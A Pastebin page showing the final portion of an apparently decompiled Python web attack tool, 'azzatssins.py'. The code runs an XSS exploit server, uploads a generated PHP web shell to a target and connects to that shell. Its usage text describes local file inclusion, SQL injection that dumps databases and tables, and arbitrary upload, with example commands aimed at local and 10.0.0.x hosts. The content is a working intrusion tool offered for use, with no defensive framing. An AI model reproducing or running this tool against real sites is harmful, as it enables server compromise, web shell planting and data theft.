  1465.                     quit()
  1466.             quit()
  1467.         else:
  1468.             if (_cwSwitchValue_0005 == (ClassOption.Xss)):
  1469.                 print("[i] Starting XSS server\r\n")
  1470.                 ip = (args.ModeOption)
  1471.                 server = ExploitServer(ip)
  1472.                 xss = (server.createExploit)(tmpl)
  1473.                 print(("[+] XSS URL:\r\n\r\n    %s\r\n" % xss))
  1474.                 (server.serveForever)()
  1475.             else:
  1476.                 if (_cwSwitchValue_0005 == (ClassOption.Upload)):
  1477.                     php = (PhpShellEmitter().emit)()
  1478.                     values = {"php": php}
  1479.                     file = (tmpl.getFile)(values)
  1480.                     if ((file == None) or (len(file) == 0)):
  1481.                         print("[X] No file specified to upload, exiting.")
  1482.                         quit()
  1483.                     tup = (lambda var_00000038:join(", ", var_00000038))((lambda var_00000039:select(var_func_00000030, var_00000039))(file))
  1484.                     print(("[i] Uploading: %s\r\n" % tup))
  1485.                     resp = (Http.request)((tmpl.getUrl)(values), (tmpl.getPost)(values), file)
  1486.                     print(("\r\n[+] Response:\r\n\r\n%s\r\n" % resp))
  1487.                     quit()
  1488.                 else:
  1489.                     if (_cwSwitchValue_0005 == (ClassOption.Shell)):
  1490.                         print(("[i] Connecting to shell: %s" % (args.Url)))
  1491.                         shell = (Shell.open)((args.Url))
  1492.                         if (shell == None):
  1493.                             print("[X] Failed to open shell, exiting.")
  1494.                             quit()
  1495.                     else:
  1496.                         print(("[X] Invalid strategy: %s\r\n" % (args.Mode)))
  1497.                         quit()
  1498.     shellLoop(shell)
  1499. else:
  1500.     print("python azzatssins.py [exploitation strategy] [url] [inputs]\r\n")
  1501.     print("# Exploitation Strategies\r\n")
  1502.     print("  lfi                Local file inclusion. Injection is performed using the $lfi token.")
  1503.     print("")
  1504.     print("  sqli {options}     SQL injection. Injection is performed using the $sqli token.")
  1505.     print("")
  1506.     print("    If used, one of two options must be specified:")
  1507.     print("")
  1508.     print("    list             Dumps a list of databases and tables.")
  1509.     print("    table {name}     Dumps a database table.")
  1510.     print("")
  1511.     print("  xss {server ip}    Cross-site scripting. Injection is performed using the $xss token.")
  1512.     print("")
  1513.     print("    If used, a target accessible server IP must be specified for listening.")
  1514.     print("")
  1515.     print("  upload             Arbitrary upload. Write data to the server using the -f option.")
  1516.     print("")
  1517.     print("    If used, at least one file must be specified using the -f option.")
  1518.     print("    Built-in shells can be injected using the $php token.")
  1519.     print("")
  1520.     print("  shell {shell url}  Connects to a previously created shell.")
  1521.     print("")
  1522.     print("# Url\r\n")
  1523.     print("  The url to exploit. Can be injected into using tokens.\r\n")
  1524.     print("# Inputs\r\n")
  1525.     print("  -g {GET name} {GET value}          GET data in key/value format.")
  1526.     print("  -p {POST name} {POST value}        POST data in key/value format.")
  1527.     print("  --g {GET data}                     GET data in Python map format.")
  1528.     print("  --p {POST data}                    POST data in Python map format.")
  1529.     print("  -f {name} {filename} {file data}   POST data as a file.")
  1530.     print("")
  1531.     print("# Examples\r\n")
  1532.     print("  python st.py lfi http://localhost/lfiTest.php?theme=$lfi\r\n")
  1533.     print("  python st.py lfi http://localhost/lfiTest.php -g theme $lfi\r\n")
  1534.     print("  python st.py lfi http://localhost/lfiTest.php?theme=$lfi%00\r\n")
  1535.     print("  python st.py lfi http://localhost/postTest.php --p \"{'theme':'$lfi'}\"\r\n")
  1536.     print("  python st.py sqli list http://localhost/sqliTest.php -g email $sqli\r\n")
  1537.     print("  python st.py sqli table sqlitest.users http://localhost/sqliTest.php -g email $sqli\r\n")
  1538.     print("  python st.py xss 10.0.0.122 http://10.0.0.145/xss.php -g search $xss\r\n")
  1539.     print("  python st.py upload http://10.0.0.145/upload.php -f file shell.php $php\r\n")
  1540.     print("  python st.py shell http://10.0.0.145/shell.php\r\n")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!